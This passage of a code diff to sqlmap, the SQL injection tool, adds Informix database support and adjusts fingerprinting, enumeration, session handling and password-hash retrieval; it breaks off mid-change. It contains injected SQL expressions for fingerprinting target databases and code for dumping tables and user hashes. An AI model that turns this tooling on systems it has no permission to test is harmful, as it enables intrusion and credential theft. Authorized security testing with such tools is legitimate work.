warnMsg += "'%s'. Download from %s" % (dbmsName, data[2])
|
||||
logger.warn(warnMsg)
|
||||
missing_libraries.add(data[1])
|
||||
|
||||
|
||||
+13
-8
@@ -17,10 +17,11 @@ from lib.core.common import serializeObject
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.common import unserializeObject
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapDataException
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES
|
||||
from lib.core.settings import HASHDB_FLUSH_RETRIES
|
||||
from lib.core.settings import HASHDB_FLUSH_THRESHOLD
|
||||
from lib.core.settings import HASHDB_RETRIEVE_RETRIES
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.threads import getCurrentThreadName
|
||||
@@ -43,7 +44,7 @@ class HashDB(object):
|
||||
except Exception, ex:
|
||||
errMsg = "error occurred while opening a session "
|
||||
errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex))
|
||||
raise SqlmapDataException(errMsg)
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
|
||||
return threadData.hashDBCursor
|
||||
|
||||
@@ -76,24 +77,28 @@ class HashDB(object):
|
||||
hash_ = HashDB.hashKey(key)
|
||||
retVal = self._write_cache.get(hash_)
|
||||
if not retVal:
|
||||
while True:
|
||||
for _ in xrange(HASHDB_RETRIEVE_RETRIES):
|
||||
try:
|
||||
for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)):
|
||||
retVal = row[0]
|
||||
except sqlite3.OperationalError, ex:
|
||||
if not any(_ in getSafeExString(ex) for _ in ("locked", "no such table")):
|
||||
raise
|
||||
else:
|
||||
if any(_ in getSafeExString(ex) for _ in ("locked", "no such table")):
|
||||
warnMsg = "problem occurred while accessing session file '%s' ('%s')" % (self.filepath, getSafeExString(ex))
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
elif "Could not decode" in getSafeExString(ex):
|
||||
break
|
||||
else:
|
||||
raise
|
||||
except sqlite3.DatabaseError, ex:
|
||||
errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex))
|
||||
errMsg += "If the problem persists please rerun with `--flush-session`"
|
||||
raise SqlmapDataException, errMsg
|
||||
raise SqlmapConnectionException, errMsg
|
||||
else:
|
||||
break
|
||||
|
||||
if unserialize:
|
||||
time.sleep(1)
|
||||
|
||||
if retVal and unserialize:
|
||||
try:
|
||||
retVal = unserializeObject(retVal)
|
||||
except:
|
||||
|
||||
@@ -9,25 +9,29 @@ import threading
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import TIMEOUT_STATE
|
||||
|
||||
def timeout(func, args=(), kwargs={}, duration=1, default=None):
|
||||
class InterruptableThread(threading.Thread):
|
||||
def __init__(self):
|
||||
threading.Thread.__init__(self)
|
||||
self.result = None
|
||||
self.timeout_state = None
|
||||
|
||||
def run(self):
|
||||
try:
|
||||
self.result = func(*args, **kwargs)
|
||||
self.timeout_state = TIMEOUT_STATE.NORMAL
|
||||
except Exception, msg:
|
||||
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, msg)
|
||||
self.result = default
|
||||
self.timeout_state = TIMEOUT_STATE.EXCEPTION
|
||||
|
||||
thread = InterruptableThread()
|
||||
thread.start()
|
||||
thread.join(duration)
|
||||
|
||||
if thread.isAlive():
|
||||
return default
|
||||
return default, TIMEOUT_STATE.TIMEOUT
|
||||
else:
|
||||
return thread.result
|
||||
return thread.result, thread.timeout_state
|
||||
|
||||
@@ -85,3 +85,9 @@ class xrange(object):
|
||||
|
||||
def _index(self, i):
|
||||
return self.start + self.step * i
|
||||
|
||||
def index(self, i):
|
||||
if self.start <= i < self.stop:
|
||||
return i - self.start
|
||||
else:
|
||||
raise ValueError("%d is not in list" % i)
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import INFORMIX_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
|
||||
from plugins.dbms.informix.enumeration import Enumeration
|
||||
from plugins.dbms.informix.filesystem import Filesystem
|
||||
from plugins.dbms.informix.fingerprint import Fingerprint
|
||||
from plugins.dbms.informix.syntax import Syntax
|
||||
from plugins.dbms.informix.takeover import Takeover
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
class InformixMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
"""
|
||||
This class defines Informix methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.excludeDbsList = INFORMIX_SYSTEM_DBS
|
||||
|
||||
Syntax.__init__(self)
|
||||
Fingerprint.__init__(self)
|
||||
Enumeration.__init__(self)
|
||||
Filesystem.__init__(self)
|
||||
Miscellaneous.__init__(self)
|
||||
Takeover.__init__(self)
|
||||
|
||||
unescaper[DBMS.INFORMIX] = Syntax.escape
|
||||
@@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import ibm_db_dbi
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
import logging
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from plugins.generic.connector import Connector as GenericConnector
|
||||
|
||||
class Connector(GenericConnector):
|
||||
"""
|
||||
Homepage: http://code.google.com/p/ibm-db/
|
||||
User guide: http://code.google.com/p/ibm-db/wiki/README
|
||||
API: http://www.python.org/dev/peps/pep-0249/
|
||||
License: Apache License 2.0
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
GenericConnector.__init__(self)
|
||||
|
||||
def connect(self):
|
||||
self.initConnection()
|
||||
|
||||
try:
|
||||
database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port)
|
||||
self.connector = ibm_db_dbi.connect(database, self.user, self.password)
|
||||
except ibm_db_dbi.OperationalError, msg:
|
||||
raise SqlmapConnectionException(msg)
|
||||
|
||||
|
||||
self.initCursor()
|
||||
self.printConnected()
|
||||
|
||||
def fetchall(self):
|
||||
try:
|
||||
return self.cursor.fetchall()
|
||||
except ibm_db_dbi.ProgrammingError, msg:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||
return None
|
||||
|
||||
def execute(self, query):
|
||||
try:
|
||||
self.cursor.execute(query)
|
||||
except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
|
||||
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
|
||||
except ibm_db_dbi.InternalError, msg:
|
||||
raise SqlmapConnectionException(msg[1])
|
||||
|
||||
self.connector.commit()
|
||||
|
||||
def select(self, query):
|
||||
self.execute(query)
|
||||
return self.fetchall()
|
||||
@@ -0,0 +1,12 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||
|
||||
class Enumeration(GenericEnumeration):
|
||||
def __init__(self):
|
||||
GenericEnumeration.__init__(self)
|
||||
@@ -0,0 +1,12 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||
|
||||
class Filesystem(GenericFilesystem):
|
||||
def __init__(self):
|
||||
GenericFilesystem.__init__(self)
|
||||
@@ -0,0 +1,105 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import Format
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.request import inject
|
||||
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||
|
||||
class Fingerprint(GenericFingerprint):
|
||||
def __init__(self):
|
||||
GenericFingerprint.__init__(self, DBMS.INFORMIX)
|
||||
|
||||
def getFingerprint(self):
|
||||
value = ""
|
||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if kb.data.banner:
|
||||
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += DBMS.INFORMIX
|
||||
return value
|
||||
|
||||
actVer = Format.getDbms()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
||||
banVer = Format.getDbms([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
def checkDbms(self):
|
||||
if not conf.extensiveFp and (Backend.isDbmsWithin(INFORMIX_ALIASES) or (conf.dbms or "").lower() in INFORMIX_ALIASES):
|
||||
setDbms(DBMS.INFORMIX)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
return True
|
||||
|
||||
infoMsg = "testing %s" % DBMS.INFORMIX
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSMASTER:SYSDUAL)")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.INFORMIX
|
||||
logger.info(infoMsg)
|
||||
|
||||
result = inject.checkBooleanExpression("(SELECT DBINFO('DBNAME') FROM SYSMASTER:SYSDUAL) IS NOT NULL")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
setDbms(DBMS.INFORMIX)
|
||||
|
||||
self.getBanner()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX
|
||||
logger.info(infoMsg)
|
||||
|
||||
for version in ("12.1", "11.7", "11.5"):
|
||||
output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version)
|
||||
|
||||
if output:
|
||||
Backend.setVersion(version)
|
||||
break
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
@@ -0,0 +1,37 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||
|
||||
class Syntax(GenericSyntax):
|
||||
def __init__(self):
|
||||
GenericSyntax.__init__(self)
|
||||
|
||||
@staticmethod
|
||||
def escape(expression, quote=True):
|
||||
"""
|
||||
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar")
|
||||
'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar'
|
||||
"""
|
||||
|
||||
def escaper(value):
|
||||
return "||".join("CHR(%d)" % ord(_) for _ in value)
|
||||
|
||||
excluded = {}
|
||||
for _ in re.findall(r"DBINFO\([^)]+\)", expression):
|
||||
excluded[_] = randomStr()
|
||||
expression = expression.replace(_, excluded[_])
|
||||
|
||||
retVal = Syntax._escape(expression, quote, escaper)
|
||||
|
||||
for _ in excluded.items():
|
||||
retVal = retVal.replace(_[1], _[0])
|
||||
|
||||
return retVal
|
||||
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||
|
||||
class Takeover(GenericTakeover):
|
||||
def __init__(self):
|
||||
self.__basedir = None
|
||||
self.__datadir = None
|
||||
|
||||
GenericTakeover.__init__(self)
|
||||
@@ -168,7 +168,10 @@ class Enumeration(GenericEnumeration):
|
||||
tblCond = rootQuery.inband.condition
|
||||
tblConsider, tblCondParam = self.likeOrExact("table")
|
||||
|
||||
if conf.db and conf.db != CURRENT_DB:
|
||||
if conf.db == CURRENT_DB:
|
||||
conf.db = self.getCurrentDb()
|
||||
|
||||
if conf.db:
|
||||
enumDbs = conf.db.split(",")
|
||||
elif not len(kb.data.cachedDbs):
|
||||
enumDbs = self.getDbs()
|
||||
@@ -277,7 +280,10 @@ class Enumeration(GenericEnumeration):
|
||||
tblCond = rootQuery.inband.condition2
|
||||
colConsider, colCondParam = self.likeOrExact("column")
|
||||
|
||||
if conf.db and conf.db != CURRENT_DB:
|
||||
if conf.db == CURRENT_DB:
|
||||
conf.db = self.getCurrentDb()
|
||||
|
||||
if conf.db:
|
||||
enumDbs = conf.db.split(",")
|
||||
elif not len(kb.data.cachedDbs):
|
||||
enumDbs = self.getDbs()
|
||||
@@ -305,12 +311,15 @@ class Enumeration(GenericEnumeration):
|
||||
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
|
||||
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _))
|
||||
|
||||
if conf.db and conf.db != CURRENT_DB:
|
||||
if conf.db == CURRENT_DB:
|
||||
conf.db = self.getCurrentDb()
|
||||
|
||||
if conf.db:
|
||||
_ = conf.db.split(",")
|
||||
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
|
||||
elif conf.excludeSysDbs:
|
||||
infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
|
||||
logger.info(infoMsg2)
|
||||
msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
|
||||
logger.info(msg)
|
||||
else:
|
||||
infoMsgDb = " across all databases"
|
||||
|
||||
|
||||
@@ -11,6 +11,7 @@ except ImportError:
|
||||
pass
|
||||
|
||||
import logging
|
||||
import struct
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
@@ -36,7 +37,7 @@ class Connector(GenericConnector):
|
||||
|
||||
try:
|
||||
self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
|
||||
except (pymysql.OperationalError, pymysql.InternalError), msg:
|
||||
except (pymysql.OperationalError, pymysql.InternalError, struct.error), msg:
|
||||
raise SqlmapConnectionException(msg[1])
|
||||
|
||||
self.initCursor()
|
||||
|
||||
@@ -49,9 +49,9 @@ class Fingerprint(GenericFingerprint):
|
||||
(50000, 50092), # MySQL 5.0
|
||||
(50100, 50172), # MySQL 5.1
|
||||
(50400, 50404), # MySQL 5.4
|
||||
(50500, 50549), # MySQL 5.5
|
||||
(50600, 50630), # MySQL 5.6
|
||||
(50700, 50712), # MySQL 5.7
|
||||
(50500, 50552), # MySQL 5.5
|
||||
(50600, 50633), # MySQL 5.6
|
||||
(50700, 50715), # MySQL 5.7
|
||||
(60000, 60014), # MySQL 6.0
|
||||
)
|
||||
|
||||
|
||||
@@ -97,8 +97,16 @@ class Fingerprint(GenericFingerprint):
|
||||
infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
|
||||
logger.info(infoMsg)
|
||||
|
||||
if inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"):
|
||||
Backend.setVersion(">= 9.1.0")
|
||||
if inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
|
||||
Backend.setVersion(">= 9.5.0")
|
||||
elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"):
|
||||
Backend.setVersionList([">= 9.4.0", "< 9.5.0"])
|
||||
elif inject.checkBooleanExpression("ARRAY_REPLACE(NULL,1,1) IS NULL"):
|
||||
Backend.setVersionList([">= 9.3.0", "< 9.4.0"])
|
||||
elif inject.checkBooleanExpression("ROW_TO_JSON(NULL) IS NULL"):
|
||||
Backend.setVersionList([">= 9.2.0", "< 9.3.0"])
|
||||
elif inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"):
|
||||
Backend.setVersionList([">= 9.1.0", "< 9.2.0"])
|
||||
elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1,'EEEE'))>0"):
|
||||
Backend.setVersionList([">= 9.0.0", "< 9.1.0"])
|
||||
elif inject.checkBooleanExpression("2=(SELECT DIV(6,3))"):
|
||||
|
||||
@@ -32,6 +32,7 @@ from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.dicts import FIREBIRD_TYPES
|
||||
from lib.core.dicts import INFORMIX_TYPES
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import EXPECTED
|
||||
@@ -335,7 +336,7 @@ class Databases:
|
||||
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
|
||||
query = rootQuery.blind.query % index
|
||||
elif Backend.isDbms(DBMS.HSQLDB):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX):
|
||||
query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db))
|
||||
else:
|
||||
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)
|
||||
@@ -603,8 +604,17 @@ class Databases:
|
||||
if len(columnData) == 1:
|
||||
columns[name] = None
|
||||
else:
|
||||
key = int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1]
|
||||
if Backend.isDbms(DBMS.FIREBIRD):
|
||||
columnData[1] = FIREBIRD_TYPES.get(int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1], columnData[1])
|
||||
columnData[1] = FIREBIRD_TYPES.get(key, columnData[1])
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
notNull = False
|
||||
if isinstance(key, int) and key > 255:
|
||||
key -= 256
|
||||
notNull = True
|
||||
columnData[1] = INFORMIX_TYPES.get(key, columnData[1])
|
||||
if notNull:
|
||||
columnData[1] = "%s NOT NULL" % columnData[1]
|
||||
|
||||
columns[name] = columnData[1]
|
||||
|
||||
@@ -656,6 +666,10 @@ class Databases:
|
||||
query = rootQuery.blind.count % (tbl)
|
||||
query += condQuery
|
||||
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, tbl)
|
||||
query += condQuery
|
||||
|
||||
elif Backend.isDbms(DBMS.SQLITE):
|
||||
query = rootQuery.blind.query % tbl
|
||||
value = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
@@ -712,6 +726,10 @@ class Databases:
|
||||
query = rootQuery.blind.query % (tbl)
|
||||
query += condQuery
|
||||
field = None
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, tbl)
|
||||
query += condQuery
|
||||
field = condition
|
||||
|
||||
query = agent.limitQuery(index, query, field, field)
|
||||
column = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
@@ -744,11 +762,22 @@ class Databases:
|
||||
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
|
||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||
query = rootQuery.blind.query2 % (tbl, column)
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, tbl, column)
|
||||
|
||||
colType = unArrayizeValue(inject.getValue(query, union=False, error=False))
|
||||
|
||||
key = int(colType) if isinstance(colType, basestring) and colType.isdigit() else colType
|
||||
if Backend.isDbms(DBMS.FIREBIRD):
|
||||
colType = FIREBIRD_TYPES.get(colType, colType)
|
||||
colType = FIREBIRD_TYPES.get(key, colType)
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
notNull = False
|
||||
if isinstance(key, int) and key > 255:
|
||||
key -= 256
|
||||
notNull = True
|
||||
colType = INFORMIX_TYPES.get(key, colType)
|
||||
if notNull:
|
||||
colType = "%s NOT NULL" % colType
|
||||
|
||||
column = safeSQLIdentificatorNaming(column)
|
||||
columns[column] = colType
|
||||
|
||||
@@ -110,7 +110,10 @@ class Entries:
|
||||
kb.data.cachedColumns = foundData
|
||||
|
||||
try:
|
||||
kb.dumpTable = "%s.%s" % (conf.db, tbl)
|
||||
if Backend.isDbms(DBMS.INFORMIX):
|
||||
kb.dumpTable = "%s:%s" % (conf.db, tbl)
|
||||
else:
|
||||
kb.dumpTable = "%s.%s" % (conf.db, tbl)
|
||||
|
||||
if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
|
||||
or safeSQLIdentificatorNaming(tbl, True) not in \
|
||||
@@ -236,6 +239,8 @@ class Entries:
|
||||
query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
|
||||
elif Backend.isDbms(DBMS.MAXDB):
|
||||
query = rootQuery.blind.count % tbl
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
query = rootQuery.blind.count % (conf.db, tbl)
|
||||
else:
|
||||
query = rootQuery.blind.count % (conf.db, tbl)
|
||||
|
||||
@@ -316,14 +321,13 @@ class Entries:
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column),
|
||||
tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())),
|
||||
index)
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
|
||||
elif Backend.isDbms(DBMS.SQLITE):
|
||||
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
|
||||
|
||||
elif Backend.isDbms(DBMS.FIREBIRD):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
|
||||
|
||||
query = whereQuery(query)
|
||||
|
||||
|
||||
@@ -175,14 +175,17 @@ class Search:
|
||||
infoMsg += "s LIKE"
|
||||
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
|
||||
|
||||
if dbCond and conf.db and conf.db != CURRENT_DB:
|
||||
if conf.db == CURRENT_DB:
|
||||
conf.db = self.getCurrentDb()
|
||||
|
||||
if dbCond and conf.db:
|
||||
_ = conf.db.split(",")
|
||||
whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
|
||||
infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
|
||||
elif conf.excludeSysDbs:
|
||||
whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
|
||||
infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
|
||||
logger.info(infoMsg2)
|
||||
msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
|
||||
logger.info(msg)
|
||||
else:
|
||||
whereDbsQuery = ""
|
||||
|
||||
@@ -400,14 +403,17 @@ class Search:
|
||||
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
|
||||
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))
|
||||
|
||||
if conf.db and conf.db != CURRENT_DB:
|
||||
if conf.db == CURRENT_DB:
|
||||
conf.db = self.getCurrentDb()
|
||||
|
||||
if conf.db:
|
||||
_ = conf.db.split(",")
|
||||
whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")"
|
||||
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _))
|
||||
elif conf.excludeSysDbs:
|
||||
whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
|
||||
infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
|
||||
logger.info(infoMsg2)
|
||||
msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
|
||||
logger.info(msg)
|
||||
else:
|
||||
infoMsgDb = " across all databases"
|
||||
|
||||
|
||||
+52
-36
@@ -27,10 +27,11 @@ from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.dicts import DB2_PRIVS
|
||||
from lib.core.dicts import FIREBIRD_PRIVS
|
||||
from lib.core.dicts import INFORMIX_PRIVS
|
||||
from lib.core.dicts import MYSQL_PRIVS
|
||||
from lib.core.dicts import PGSQL_PRIVS
|
||||
from lib.core.dicts import FIREBIRD_PRIVS
|
||||
from lib.core.dicts import DB2_PRIVS
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import EXPECTED
|
||||
@@ -251,22 +252,25 @@ class Users:
|
||||
if user in retrievedUsers:
|
||||
continue
|
||||
|
||||
infoMsg = "fetching number of password hashes "
|
||||
infoMsg += "for user '%s'" % user
|
||||
logger.info(infoMsg)
|
||||
|
||||
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
|
||||
query = rootQuery.blind.count2 % user
|
||||
if Backend.isDbms(DBMS.INFORMIX):
|
||||
count = 1
|
||||
else:
|
||||
query = rootQuery.blind.count % user
|
||||
infoMsg = "fetching number of password hashes "
|
||||
infoMsg += "for user '%s'" % user
|
||||
logger.info(infoMsg)
|
||||
|
||||
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
|
||||
query = rootQuery.blind.count2 % user
|
||||
else:
|
||||
query = rootQuery.blind.count % user
|
||||
|
||||
if not isNumPosStrValue(count):
|
||||
warnMsg = "unable to retrieve the number of password "
|
||||
warnMsg += "hashes for user '%s'" % user
|
||||
logger.warn(warnMsg)
|
||||
continue
|
||||
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
|
||||
|
||||
if not isNumPosStrValue(count):
|
||||
warnMsg = "unable to retrieve the number of password "
|
||||
warnMsg += "hashes for user '%s'" % user
|
||||
logger.warn(warnMsg)
|
||||
continue
|
||||
|
||||
infoMsg = "fetching password hashes for user '%s'" % user
|
||||
logger.info(infoMsg)
|
||||
@@ -282,11 +286,14 @@ class Users:
|
||||
query = rootQuery.blind.query2 % (user, index, user)
|
||||
else:
|
||||
query = rootQuery.blind.query % (user, index, user)
|
||||
elif Backend.isDbms(DBMS.INFORMIX):
|
||||
